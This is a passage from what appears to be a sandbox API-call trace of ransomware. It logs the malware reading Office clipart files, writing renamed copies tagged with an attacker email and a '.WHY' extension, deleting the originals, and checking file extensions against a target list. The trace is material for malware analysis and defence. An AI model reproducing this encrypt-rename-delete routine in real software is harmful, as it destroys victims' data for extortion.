office\\clipart\\pub60cor\\ag00175_.gif")) returned 0x20 [0241.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0241.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0241.547] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0241.547] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0241.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0241.548] GetLastError () returned 0x0 [0241.548] ReadFile (in: hFile=0x3a4, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x32afed4*=0xd32, lpOverlapped=0x0) returned 1 [0241.593] WriteFile (in: hFile=0x258, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x32afc9c*=0xd40, lpOverlapped=0x0) returned 1 [0241.596] ReadFile (in: hFile=0x3a4, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0241.596] WriteFile (in: hFile=0x258, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x32afc9c*=0xec, lpOverlapped=0x0) returned 1 [0241.596] SetEndOfFile (hFile=0x258) returned 1 [0241.891] CloseHandle (hObject=0x258) returned 1 [0242.097] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0242.097] SetEndOfFile (hFile=0x3a4) returned 1 [0242.104] CloseHandle (hObject=0x3a4) returned 1 [0242.104] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0242.124] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif")) returned 1 [0242.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0242.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0242.125] lstrlenW (lpString=".doc") returned 4 [0242.125] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0242.125] lstrlenW (lpString=".docx") returned 5 [0242.125] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0242.125] lstrlenW (lpString=".pdf") returned 4 [0242.125] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0242.125] lstrlenW (lpString=".xls") returned 4 [0242.125] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0242.125] lstrlenW (lpString=".xlsx") returned 5 [0242.125] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0242.125] lstrlenW (lpString=".ppt") returned 4 [0242.126] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0242.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0242.126] lstrlenW (lpString=".zip") returned 4 [0242.126] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0242.126] lstrlenW (lpString=".rar") returned 4 [0242.126] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0242.126] lstrlenW (lpString=".bz2") returned 4 [0242.126] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0242.126] lstrlenW (lpString=".7z") returned 3 [0242.126] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0242.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0242.126] lstrlenW (lpString=".dbf") returned 4 [0242.126] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0242.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0242.126] lstrlenW (lpString=".1cd") returned 4 [0242.127] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0242.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0242.127] lstrlenW (lpString=".jpg") returned 4 [0242.127] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0242.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0242.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0242.127] lstrlenW (lpString=".doc") returned 4 [0242.127] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0242.127] lstrlenW (lpString=".docx") returned 5 [0242.127] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0242.127] lstrlenW (lpString=".pdf") returned 4 [0242.128] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0242.128] lstrlenW (lpString=".xls") returned 4 [0242.128] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0242.128] lstrlenW (lpString=".xlsx") returned 5 [0242.128] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0242.128] lstrlenW (lpString=".ppt") returned 4 [0242.128] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0242.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0242.128] lstrlenW (lpString=".zip") returned 4 [0242.128] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0242.128] lstrlenW (lpString=".rar") returned 4 [0242.128] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0242.128] lstrlenW (lpString=".bz2") returned 4 [0242.129] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0242.129] lstrlenW (lpString=".7z") returned 3 [0242.129] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0242.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0242.129] lstrlenW (lpString=".dbf") returned 4 [0242.129] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0242.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0242.129] lstrlenW (lpString=".1cd") returned 4 [0242.129] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0242.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0242.129] lstrlenW (lpString=".jpg") returned 4 [0242.129] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0242.130] lstrcmpiW (lpString1=".GIF", lpString2=".WHY") returned -1 [0242.130] lstrlenW (lpString="AG00176_.GIF") returned 12 [0242.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0242.131] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=3120) returned 1 [0242.131] CloseHandle (hObject=0x3a4) returned 1 [0242.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif")) returned 0x20 [0242.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0242.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0242.132] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0242.132] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0242.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0242.133] GetLastError () returned 0x0 [0242.133] ReadFile (in: hFile=0x3a4, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x32afed4*=0xc30, lpOverlapped=0x0) returned 1 [0242.248] WriteFile (in: hFile=0x3b8, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x32afc9c*=0xc40, lpOverlapped=0x0) returned 1 [0242.251] ReadFile (in: hFile=0x3a4, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0242.251] WriteFile (in: hFile=0x3b8, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x32afc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.251] SetEndOfFile (hFile=0x3b8) returned 1 [0242.252] CloseHandle (hObject=0x3b8) returned 1 [0242.253] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0242.253] SetEndOfFile (hFile=0x3a4) returned 1 [0242.261] CloseHandle (hObject=0x3a4) returned 1 [0242.261] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0242.368] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif")) returned 1 [0245.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0245.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0245.313] lstrlenW (lpString=".doc") returned 4 [0245.313] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0245.313] lstrlenW (lpString=".docx") returned 5 [0245.313] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0245.313] lstrlenW (lpString=".pdf") returned 4 [0245.313] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0245.313] lstrlenW (lpString=".xls") returned 4 [0245.313] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0245.314] lstrlenW (lpString=".xlsx") returned 5 [0245.314] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0245.314] lstrlenW (lpString=".ppt") returned 4 [0245.314] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0245.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0245.314] lstrlenW (lpString=".zip") returned 4 [0245.314] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0245.314] lstrlenW (lpString=".rar") returned 4 [0245.314] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0245.314] lstrlenW (lpString=".bz2") returned 4 [0245.314] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0245.314] lstrlenW (lpString=".7z") returned 3 [0245.314] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0245.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0245.315] lstrlenW (lpString=".dbf") returned 4 [0245.315] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0245.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0245.315] lstrlenW (lpString=".1cd") returned 4 [0245.315] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0245.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0245.315] lstrlenW (lpString=".jpg") returned 4 [0245.315] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0245.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0245.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0245.315] lstrlenW (lpString=".doc") returned 4 [0245.315] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0245.316] lstrlenW (lpString=".docx") returned 5 [0245.316] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0245.316] lstrlenW (lpString=".pdf") returned 4 [0245.316] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0245.316] lstrlenW (lpString=".xls") returned 4 [0245.316] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0245.316] lstrlenW (lpString=".xlsx") returned 5 [0245.316] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0245.316] lstrlenW (lpString=".ppt") returned 4 [0245.316] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0245.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0245.316] lstrlenW (lpString=".zip") returned 4 [0245.317] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0245.317] lstrlenW (lpString=".rar") returned 4 [0245.317] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0245.317] lstrlenW (lpString=".bz2") returned 4 [0245.317] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0245.317] lstrlenW (lpString=".7z") returned 3 [0245.317] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0245.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0245.317] lstrlenW (lpString=".dbf") returned 4 [0245.317] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0245.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0245.317] lstrlenW (lpString=".1cd") returned 4 [0245.317] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0245.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0245.318] lstrlenW (lpString=".jpg") returned 4 [0245.318] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0245.318] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0245.318] lstrlenW (lpString="AN01084_.WMF") returned 12 [0245.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0247.420] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=1832) returned 1 [0247.420] CloseHandle (hObject=0x354) returned 1 [0247.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf")) returned 0x20 [0247.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0247.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0247.756] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0247.756] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0247.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0247.766] GetLastError () returned 0x0 [0247.766] ReadFile (in: hFile=0x258, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x32afed4*=0x728, lpOverlapped=0x0) returned 1 [0247.845] WriteFile (in: hFile=0x3a8, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x730, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x32afc9c*=0x730, lpOverlapped=0x0) returned 1 [0247.848] ReadFile (in: hFile=0x258, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0247.848] WriteFile (in: hFile=0x3a8, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x32afc9c*=0xec, lpOverlapped=0x0) returned 1 [0247.849] SetEndOfFile (hFile=0x3a8) returned 1 [0247.865] CloseHandle (hObject=0x3a8) returned 1 [0247.887] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0247.887] SetEndOfFile (hFile=0x258) returned 1 [0247.949] CloseHandle (hObject=0x258) returned 1 [0247.950] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0248.189] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf")) returned 1 [0248.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0248.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0248.190] lstrlenW (lpString=".doc") returned 4 [0248.190] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.191] lstrlenW (lpString=".docx") returned 5 [0248.191] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.191] lstrlenW (lpString=".pdf") returned 4 [0248.191] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.191] lstrlenW (lpString=".xls") returned 4 [0248.191] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.191] lstrlenW (lpString=".xlsx") returned 5 [0248.191] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.191] lstrlenW (lpString=".ppt") returned 4 [0248.192] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0248.192] lstrlenW (lpString=".zip") returned 4 [0248.192] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.192] lstrlenW (lpString=".rar") returned 4 [0248.192] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.192] lstrlenW (lpString=".bz2") returned 4 [0248.192] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.192] lstrlenW (lpString=".7z") returned 3 [0248.192] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0248.192] lstrlenW (lpString=".dbf") returned 4 [0248.192] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0248.193] lstrlenW (lpString=".1cd") returned 4 [0248.193] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0248.193] lstrlenW (lpString=".jpg") returned 4 [0248.193] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0248.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0248.193] lstrlenW (lpString=".doc") returned 4 [0248.193] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.194] lstrlenW (lpString=".docx") returned 5 [0248.194] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.194] lstrlenW (lpString=".pdf") returned 4 [0248.194] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.194] lstrlenW (lpString=".xls") returned 4 [0248.194] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.194] lstrlenW (lpString=".xlsx") returned 5 [0248.194] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.194] lstrlenW (lpString=".ppt") returned 4 [0248.194] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0248.194] lstrlenW (lpString=".zip") returned 4 [0248.194] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.194] lstrlenW (lpString=".rar") returned 4 [0248.194] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.195] lstrlenW (lpString=".bz2") returned 4 [0248.195] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.195] lstrlenW (lpString=".7z") returned 3 [0248.195] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0248.195] lstrlenW (lpString=".dbf") returned 4 [0248.195] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0248.195] lstrlenW (lpString=".1cd") returned 4 [0248.195] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0248.195] lstrlenW (lpString=".jpg") returned 4 [0248.195] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.196] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0248.196] lstrlenW (lpString="AN01251_.WMF") returned 12 [0248.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0248.197] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=2756) returned 1 [0248.198] CloseHandle (hObject=0x3b4) returned 1 [0248.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf")) returned 0x20 [0248.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0248.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0248.199] 